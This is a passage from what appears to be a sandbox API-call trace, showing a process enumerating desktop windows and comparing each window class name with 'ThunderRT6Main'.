lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0241.555] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0241.555] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0241.555] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0241.555] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0241.555] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.555] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0241.555] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0241.555] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0241.555] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0241.555] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0241.556] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.556] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0241.556] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0241.556] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0241.556] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0241.556] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0241.556] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0241.556] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.556] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0241.556] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0241.556] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0241.556] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0241.556] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0241.556] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0241.556] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.556] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0241.556] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0241.556] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0241.556] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0241.556] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0241.556] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0241.556] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0241.557] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0241.557] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0241.557] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0241.557] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0241.557] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0241.557] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0241.557] GetClassNameA (in: hWnd=0x10198, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0241.557] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0241.557] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0241.557] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0241.557] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0241.557] GetClassNameA (in: hWnd=0x10194, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0241.557] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0241.557] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0241.557] GetClassNameA (in: hWnd=0x10196, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0241.557] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0241.557] GetClassNameA (in: hWnd=0x10190, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0241.557] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0241.557] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0241.557] GetClassNameA (in: hWnd=0x10192, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.557] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0241.558] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0241.558] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0241.558] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0241.558] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0241.558] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0241.558] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0241.558] GetClassNameA (in: hWnd=0x10186, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0241.558] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0241.558] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0241.558] GetClassNameA (in: hWnd=0x10188, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0241.558] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0241.558] GetClassNameA (in: hWnd=0x10180, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0241.558] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0241.558] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0241.558] GetClassNameA (in: hWnd=0x10184, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0241.558] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0241.558] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0241.558] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0241.558] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0241.558] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.558] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0241.558] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0241.558] GetClassNameA (in: hWnd=0x10178, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0241.559] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0241.559] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0241.559] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.559] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0241.559] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0241.559] GetClassNameA (in: hWnd=0x10174, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0241.559] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0241.559] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0241.559] GetClassNameA (in: hWnd=0x10176, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.559] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0241.559] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0241.559] GetClassNameA (in: hWnd=0x20170, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0241.559] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0241.559] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0241.559] GetClassNameA (in: hWnd=0x10172, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.559] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0241.559] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0241.559] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0241.559] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0241.559] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0241.559] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.559] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.559] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0241.559] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0241.559] GetClassNameA (in: hWnd=0x10168, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0241.559] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0241.560] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0241.560] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.560] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0241.560] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0241.560] GetClassNameA (in: hWnd=0x10164, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0241.560] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0241.560] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0241.560] GetClassNameA (in: hWnd=0x10166, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.560] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0241.560] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0241.560] GetClassNameA (in: hWnd=0x10160, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0241.560] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0241.560] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0241.560] GetClassNameA (in: hWnd=0x10162, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.560] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0241.560] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0241.560] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0241.560] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0241.560] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0241.560] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.560] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.560] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0241.560] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0241.560] GetClassNameA (in: hWnd=0x50102, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0241.561] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0241.561] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0241.561] GetClassNameA (in: hWnd=0x30108, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.561] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0241.561] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0241.561] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0241.561] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0241.561] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0241.561] GetClassNameA (in: hWnd=0x10146, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0241.561] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0241.561] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0241.561] GetClassNameA (in: hWnd=0x10144, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0241.561] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0241.561] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0241.561] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0241.561] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0241.561] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0241.561] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0241.561] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0241.561] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0241.561] GetClassNameA (in: hWnd=0x10130, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.561] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.561] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0241.561] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0241.561] GetClassNameA (in: hWnd=0x10124, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0241.562] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0241.562] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0241.562] GetClassNameA (in: hWnd=0x10126, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.562] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0241.562] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0241.562] GetClassNameA (in: hWnd=0x10118, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0241.562] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0241.562] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0241.562] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.562] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0241.562] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0241.562] GetClassNameA (in: hWnd=0x10116, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0241.562] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0241.562] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0241.562] GetClassNameA (in: hWnd=0x20018, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0241.562] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0241.562] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0241.562] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.562] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0241.562] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0241.562] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0241.562] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0241.562] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0241.562] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0241.562] GetClassNameA (in: hWnd=0x20016, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.563] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0241.563] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0241.563] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0241.563] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0241.563] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0241.563] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.563] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0241.563] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0241.563] GetClassNameA (in: hWnd=0x10106, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0241.563] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0241.563] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0241.563] GetClassNameA (in: hWnd=0x10104, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0241.563] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0241.563] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0241.563] GetClassNameA (in: hWnd=0x10100, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0241.563] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0241.563] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0241.563] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0241.563] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0241.563] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0241.563] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0241.563] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0241.563] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.563] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0241.563] GetClassNameA (in: hWnd=0x10084, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0241.564] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0241.564] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0241.564] GetWindow (hWnd=0x10084, uCmd=0x2) returned 